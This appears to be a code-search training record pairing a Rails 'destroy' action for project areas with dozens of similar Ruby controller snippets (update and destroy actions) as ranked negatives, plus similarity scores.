"def test_put_expenses_1_xml\n @parameters = {:expense => {:description => 'NewDescription'}}\n if ActiveRecord::VERSION::MAJOR < 4\n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/expenses/1.xml',\n {:expense => {:description => 'NewDescription'}},\n {:success_code => :ok})\n end\n\n assert_no_difference('Expense.count') do\n put '/expenses/1.xml', @parameters, credentials('admin')\n end\n\n expense = Expense.find(1)\n assert_equal \"NewDescription\", expense.description\n end",
"def update\n @breadcrumb = 'update'\n @area = Area.find(params[:id])\n @area.updated_by = current_user.id if !current_user.nil?\n\n respond_to do |format|\n if @area.update_attributes(params[:area])\n format.html { redirect_to @area,\n notice: (crud_notice('updated', @area) + \"#{undo_link(@area)}\").html_safe }\n format.json { head :no_content }\n else\n @departments = departments_dropdown\n @workers = @area.department.blank? ? workers_dropdown : workers_by_department(@area.department)\n format.html { render action: \"edit\" }\n format.json { render json: @area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @area.update_attributes(area_params)\n flash[:notice] = \"#{@area.name} has been updated.\"\n redirect_to @area\n else\n render :action => 'edit'\n end\n end",
"def project_area_params\n params.require(:project_area).permit(:project_id, :investigation_area_id)\n end",
"def show\n @projectarea = Projectarea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @projectarea }\n end\n end",
"def update\n @areas = Area.all\n @task_types = TaskType.all\n @items = RsItem.all\n respond_to do |format|\n if @task.update(task_params)\n format.html { redirect_to @task, notice: 'Task was successfully updated.' }\n format.json { render :show, status: :ok, location: @task }\n else\n format.html { render :edit }\n format.json { render json: @task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_current_tenant_maintenance_window(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/maintenance\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n @project_path = ProjectPath.find(params[:id])\n\n respond_to do |format|\n if @project_path.update_attributes(params[:project_path])\n flash[:notice] = 'ProjectPath was successfully updated.'\n format.html { redirect_to(@project_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project_path.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update\n #@project = Project.find(params[:id])\n\n #respond_to do |format|\n # if @project.update_attributes(params[:project])\n # format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n # format.xml { head :ok }\n # else\n # format.html { render :action => \"edit\" }\n # format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n # end\n #end\n end",
"def update\n respond_to do |format|\n if @tarea.update(tarea_params)\n format.html { redirect_to @tarea, notice: 'La Tarea ha sido modificada correctamente.' }\n format.json { render :show, status: :ok, location: @tarea }\n else\n format.html { render :edit }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_resources\n @unit_planner = UnitPlanner.find params[:id]\n end",
"def put(path, parameters = {})\n request(:put, path, parameters)\n end",
"def update\n begin\n @area = Area.find(params[:id])\n @area.update_attributes(params[:area])\n\n flash[:notice] = t(:success_updated, :id => @area.id)\n redirect_to(areas_url)\n rescue => e\n# flash[:error] = t(:error_default, :message => e.message)\n render :action => :edit\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(@project, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n @cliente = @project.cliente_id\n respond_to do |format|\n if @project.update(project_params)\n format.html { render :edit }\n format.json { render :index, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tareas = Tarea.all\n @tareapositivas = Tarea.where(listo: true)\n respond_to do |format|\n if @tarea.update(tarea_params)\n format.html { redirect_to root_path, notice: 'Tarea was successfully updated.' }\n format.json { render :show, status: :ok, location: @tarea }\n else\n format.html { render :edit }\n format.json { render json: @tarea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @placa_casa = PlacaCasa.find(params[:id])\n @placa_casa.pessoa.update_attributes(params[:pessoa]) \n @placa_casa.placa.update_attributes(params[:placa])\n\n respond_to do |format|\n if @placa_casa.update_attributes(params[:placa_casa])\n format.html { redirect_to(@placa_casa, :notice => ' - Dados atualizados com sucesso.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @placa_casa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_village_project\n iframe_src = \"<iframe src='\" + root_url.sub(/\\/$/, '') + embed_project_path(@project) + \"' width='575' height='485'></iframe><p>This project created with <b><a href='\" + root_url + \"'>#{ENV[\"APP_NAME\"]}</a></b> and updated on \" + @project.updated_at.strftime(\"%A, %B %-d at %-I:%M %p\") +\"</p>\"\n iframe_src = iframe_src.html_safe.to_str\n village_user_ids = @project.village_user_ids\n response = access_token.put(\"/api/projects/\" + @project.village_id.to_s, params: {project: {name: @project.title, description: iframe_src, user_ids: village_user_ids}})\n end",
"def update\n @contentarea = Contentarea.find(params[:id])\n\n respond_to do |format|\n if @contentarea.update_attributes(params[:contentarea])\n format.html { redirect_to @contentarea, notice: 'Contentarea was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contentarea.errors, status: :unprocessable_entity }\n end\n end\n end",
"def put(*args)\n request :put, *args\n end",
"def update\n @project_type_association = @project.project_type_associations.find(params[:id])\n\n respond_to do |format|\n if @project_type_association.update_attributes(params[:project_type_association])\n flash[:notice] = 'ProjectTypeAssociation was successfully updated.'\n format.html { redirect_to([:admin, @project, @project_type_association]) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project_type_association.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Projeto atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @sub_area.update(sub_area_params)\n format.html { redirect_to @sub_area, notice: 'Sub area was successfully updated.' }\n format.json { render :show, status: :ok, location: @sub_area }\n else\n format.html { render :edit }\n format.json { render json: @sub_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @company = Company.find(params[:id])\n\n params[:company][:projects_attributes][\"0\"].merge!(:user_id => current_user.id)\n respond_to do |format|\n if @company.update_attributes(params[:company])\n\tformat.html { redirect_to(@company, :notice => 'Company was successfully updated.') }\n\tformat.xml { head :ok }\n else\n\tformat.html { render :action => \"edit\" }\n\tformat.xml { render :xml => @company.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @subject_area = SubjectArea.find(params[:id])\n\n respond_to do |format|\n if @subject_area.update_attributes(params[:subject_area])\n format.html { redirect_to(@subject_area, :notice => 'Subject area was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject_area.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @country_area = CountryArea.find(params[:id])\n\n respond_to do |format|\n if @country_area.update_attributes(params[:country_area])\n format.html { redirect_to @country_area, notice: 'Country area was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @country_area.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @carea = Carea.find(params[:id])\n\n respond_to do |format|\n if @carea.update_attributes(params[:carea])\n format.html { redirect_to(@carea, :notice => 'Carea was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @carea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @region.update(region_params)\n format.html { redirect_to regions_path, notice: 'Region was successfully updated.' }\n format.json { render :show, status: :ok, location: @region }\n else\n @region_areas = region_areas(@region, false)\n format.html { render :edit }\n format.json { render json: @region.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_project_area_interest\n @project_area_interest = ProjectAreaInterest.find(params[:id])\n end",
"def update\n @project = Project.find_by_slug(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to @project, notice: 'Project was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @areas_profissional.update(areas_profissional_params)\n format.html { redirect_to @areas_profissional, notice: 'Área atualizada com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @areas_profissional.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @environment.update_attributes environment_params\n respond_with @environment, location: project_url(@project)\n end",
"def update\n @patent = Patent.find(params[:id])\n\n respond_to do |format|\n if params[:patent][:research_areas]\n research_area = ResearchArea.find(params[:patent][:research_areas].to_i)\n @patent.research_areas << research_area\n @patent.save\n format.json { render json: research_area }\n elsif @patent.update_attributes(params[:patent])\n format.html { redirect_to @patent, notice: 'Patent was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @patent.errors, status: :unprocessable_entity }\n end\n end\n end",
"def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end",
"def update\n @activities_project = ActivitiesProject.find(params[:id])\n\n respond_to do |format|\n if @activities_project.update_attributes(params[:activities_project])\n format.html { redirect_to(@activities_project, :notice => 'Activities project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activities_project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n params[:project][:problem_ids] ||= []\n params[:project][:target_ids] ||= []\n params[:project][:factor_ids] ||= []\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(projects_path, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @coordenador_estagio = CoordenadorEstagio.find(params[:id])\n\n respond_to do |format|\n if @coordenador_estagio.update_attributes(params[:coordenador_estagio])\n format.html { redirect_success(\"Coordenador alterado com sucesso!\",:coordenador_estagio, :index)}\n format.json { head :no_content }\n else\n format.html { redirect_error(\"Erro ao alterar coordenador!\",:coordenador_estagio, :index)}\n format.json { render json: @coordenador_estagio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n format.html { redirect_to(projects_path, :notice => 'Project was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @project = Project.find(params[:id])\n\n respond_to do |format|\n if @project.update_attributes(params[:project])\n flash[:notice] = 'Project was successfully updated.'\n format.html { redirect_to(@project) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6494426",
"0.61116356",
"0.5929459",
"0.5929459",
"0.5863026",
"0.5863026",
"0.5842453",
"0.5786108",
"0.5738155",
"0.56864125",
"0.56864125",
"0.56864125",
"0.5634796",
"0.5589337",
"0.5588147",
"0.5529578",
"0.55207264",
"0.54972243",
"0.5474664",
"0.54031044",
"0.5396765",
"0.538658",
"0.53821206",
"0.538134",
"0.53663087",
"0.53624535",
"0.5318293",
"0.53177744",
"0.531117",
"0.53070635",
"0.52911437",
"0.5289425",
"0.5286622",
"0.5285634",
"0.5260242",
"0.52577174",
"0.525348",
"0.5251164",
"0.5240259",
"0.52337414",
"0.5232139",
"0.5222746",
"0.5213397",
"0.5199492",
"0.5196941",
"0.51835275",
"0.5182202",
"0.51806414",
"0.51795274",
"0.51759845",
"0.51753235",
"0.51675093",
"0.5165088",
"0.5162676",
"0.51604116",
"0.51600146",
"0.51551545",
"0.51536864",
"0.51496434",
"0.51493907",
"0.5148093",
"0.514676",
"0.51434076",
"0.5140309",
"0.51394874",
"0.5138778",
"0.5135798",
"0.5129954",
"0.5129147",
"0.5129147",
"0.5129147",
"0.5129147",
"0.5129147",
"0.5129147",
"0.5128795",
"0.5124946",
"0.5123157",
"0.5121646",
"0.51198673",
"0.5117681",
"0.5108305",
"0.5105334",
"0.5104487",
"0.5103403",
"0.5102815",
"0.5100549",
"0.5098574",
"0.50953585",
"0.50933605",
"0.5091258",
"0.509123",
"0.50877607",
"0.50862706",
"0.50857633",
"0.5084416",
"0.50830585",
"0.50821495",
"0.5076134",
"0.50758815",
"0.50758815"
] |
0.66401917
|
0
|
DELETE /projectareas/1 DELETE /projectareas/1.xml
|
def destroy
@projectarea = Projectarea.find(params[:id])
@projectarea.destroy
respond_to do |format|
format.html { redirect_to(projectareas_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @area = Area.find(params[:id])\n if @area.children.size == 0 and @area.name != \"localhost\"\n @area.destroy\n flash[:notice] = \"Deleted #{@area.to_s}\" \n else\n flash[:notice] = \"#{@area.to_s} not deleted. It has children or is the localhost node.\" \n end\n\n respond_to do |format|\n #format.html { redirect_to(areas_url) }\n format.html { redirect_to(locations_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to(areas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to(areas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project_path = ProjectPath.find(params[:id])\n @project_path.destroy\n\n respond_to do |format|\n format.html { redirect_to(project_paths_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to(home_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @map_area = MapArea.find(params[:id])\n @map_area.destroy\n\n respond_to do |format|\n format.html { redirect_to(map_areas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @map_area = MapArea.find(params[:id])\n @map_area.destroy\n\n respond_to do |format|\n format.html { redirect_to(map_areas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project_area.destroy\n respond_to do |format|\n format.html { redirect_to project_areas_url, notice: 'Project area was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @tarea = Tarea.find(params[:id])\n @tarea.destroy\n\n respond_to do |format|\n format.html { redirect_to(tareas_url) }\n format.xml { head :ok }\n end\n end",
"def _project_delete(acronym)\n delete \"/projects/#{acronym}\"\n _response_status(204, last_response)\n end",
"def destroy\n @action = Action.find(params[:id])\n project = @action.project\n @action.destroy\n\n respond_to do |format|\n format.html { redirect_to(project) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @carea = Carea.find(params[:id])\n @carea.destroy\n\n respond_to do |format|\n format.html { redirect_to(careas_url) }\n format.xml { head :ok }\n end\n end",
"def delete_analysis(analysis_id); rest_delete(\"#{link('analyses')}/#{analysis_id}\"); nil; end",
"def destroy\n Project.destroy params[:id].split(',')\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def delete_ana\n @project = Project.find(params[:id])\n @an= @project.analyses.find(params[:ana_id])\n if @an\n @project.analyses.delete(@an)\n end\n redirect_to :action => 'analyses'\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n #@project = Project.find(params[:id])\n #@project.destroy\n\n #respond_to do |format|\n # format.html { redirect_to(goals_url) }\n # format.xml { head :ok }\n #end\n end",
"def destroy\n @core_area.destroy\n respond_to do |format|\n format.html { redirect_to core_areas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project_area_interest.destroy\n respond_to do |format|\n format.html { redirect_to project_area_interests_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = AzProject.find(params[:id])\n @project.deleting = true # По этому странному атрибуту страница определяет, что она не должна удалять свои задачи из Redmine\n @project.save\n\n if @project.can_user_delete(current_user)\n @project.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to('/projects') }\n format.xml { head :ok }\n end\n end",
"def destroy\n @area_attribute.destroy\n respond_to do |format|\n format.html { redirect_to area_attributes_url }\n format.json { head :no_content }\n end\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n # @project = Project.find(params[:id])\n # @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n \n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cabinet_production_area.destroy\n respond_to do |format|\n format.html { redirect_to cabinet_production_areas_path, notice: 'Запис успішно видалено.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @subject_area = SubjectArea.find(params[:id])\n @subject_area.destroy\n\n respond_to do |format|\n format.html { redirect_to(subject_areas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Company.find(params[:company_id]).projects.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n name = @project.name\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_path,\n :notice => t('general.deleted',\n :entity => t('project.entity_name'),\n :identifier => name)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @openmapa = Openmapa.find(params[:id])\n @openmapa.destroy\n\n respond_to do |format|\n format.html { redirect_to(openmapas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = @user.projects.find(params[:id])\n @project.remove!\n\n respond_to do |format|\n format.html { redirect_to(projects_url(:subdomain => @user.subdomain)) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Admin::Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @area = Area.find(params[:id])\r\n domain_id = @area.domain_id\r\n @area.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to areas_url domain_id: domain_id, notice: 'Area was successfully deleted.' }\r\n format.json { head :no_content }\r\n end\r\n end",
"def destroy\n @activities_project = ActivitiesProject.find(params[:id])\n @activities_project.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @documento = Documento.find(params[:id])\n # Eliminar los registros asociativos de las tablas JOIN \n # para las asociaciones HBTM (has_and_belongs_to_many)\n #\n @documento.reconocimientos.destroy_all\n @documento.areas.destroy_all\n\n @documento.destroy\n\n respond_to do |format|\n format.html { redirect_to documentos_url, :notice => \"#{@documento.titulo} eliminado\" }\n format.json { head :no_content }\n end\n end",
"def delete_project(project)\n handle_action_exceptions(__method__) do\n cmd_line = [\"deleteproject '#{project}'\"]\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def destroy\n @project.destroy\n head :no_content\n end",
"def destroy\n # Delete tasks within project\n @project.tasks.each do |task|\n task.destroy\n end\n\n # Delete items and records within project\n @project.items.each do |item|\n item.records.each do |record|\n record.destroy\n end\n item.destroy\n end\n\n # Delete jobs within project\n @project.jobs.each do |job|\n job.destroy\n end\n\n @project.destroy\n respond_to do |format|\n format.html { redirect_to projects_url, notice: 'Project was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @area.destroy\n respond_to do |format|\n format.html { redirect_to areas_url, notice: 'El Área fue eliminada éxitosamente.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @area_of_law = AreaOfLaw.find(params[:id])\n @area_of_law.destroy\n purge_all_pages\n\n respond_to do |format|\n format.html { redirect_to admin_areas_of_law_url }\n format.json { head :no_content }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @project.destroy\n\n head :no_content\n end",
"def delete\n Iterable.request(conf, base_path).delete\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def delete(*uris); end",
"def destroy\n @idea = Idea.find(params[:id])\n \n #kill everything else like subideas and maps\n subideas = Subidea.where(:idea_id => @idea.id)\n subideas.each do |si|\n si.map.destroy\n si.destroy\n end\n \n @idea.destroy \n\n respond_to do |format|\n format.html { redirect_to(ideas_url) }\n format.xml { head :ok }\n end\n end",
"def delete_data(index_name)\n uri = @client.make_uri(\"/#{index_name}/update/\")\n req = HTTP::Post.new(uri)\n req.content_type = 'text/xml'\n req.body = '<delete><query>*:*</query></delete>'\n response = @client.send_http(req, true, ['200'])\n end",
"def test_xml_should_not_destroy_project_with_fk\n assert_no_difference('Project.count') do\n delete :destroy, :id => 1, :format => 'xml'\n end\n assert_response :ok\n assert_select \"errors:root>error\", ERRORS[:foreign_key_problem]\n end",
"def delete(id:)\n id_check(:id, id)\n\n cf_delete(path: \"/organizations/#{org_id}/railguns/#{id}\")\n end",
"def backend_deleteProject(param) \n @Projects.delete(param) if @Projects.include? param \n end",
"def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to areas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to areas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @area = Area.find(params[:id])\n @area.destroy\n\n respond_to do |format|\n format.html { redirect_to areas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bibliography_project = BibliographyProject.find_by_bibliography_id_and_project_id(params[:id],@project.id)\n @bibliography_project.destroy\n\n respond_to do |format|\n format.html { redirect_to(:action=>:index,:project_id=>@project) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @path = Path.find(params[:id])\n @path.destroy\n\n respond_to do |format|\n format.html { redirect_to(layer_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @contentarea = Contentarea.find(params[:id])\n @contentarea.destroy\n\n respond_to do |format|\n format.html { redirect_to contentareas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n authenticate_user!\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @doe_project_manager = DoeProjectManager.find(params[:id])\n @doe_project_manager.destroy\n\n respond_to do |format|\n format.html { redirect_to(doe_project_managers_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\r\n @project = Project.find(params[:id])\r\n #@project.destroy\r\n @project.update_attribute(\"is_deleted\", true)\r\n expire_fragment('all_projects')\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(\"/users/manage_#{$projects_name_replacement}\") }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @plantilla = Plantilla.find(params[:id])\n @plantilla.destroy\n\n respond_to do |format|\n format.html { redirect_to(plantillas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Salesforce::Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(salesforce_projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @group_area = GroupArea.find(params[:id])\n @group_area.destroy\n\n respond_to do |format|\n format.html { redirect_to group_areas_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @project = Project.find(params[:id])\n @project.destroy\n\n respond_to do |format|\n format.html { redirect_to(projects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @ambito = Ambito.find(params[:id])\n @ambito.destroy\n\n respond_to do |format|\n format.html { redirect_to(ambitos_url) }\n format.xml { head :ok }\n end\n end",
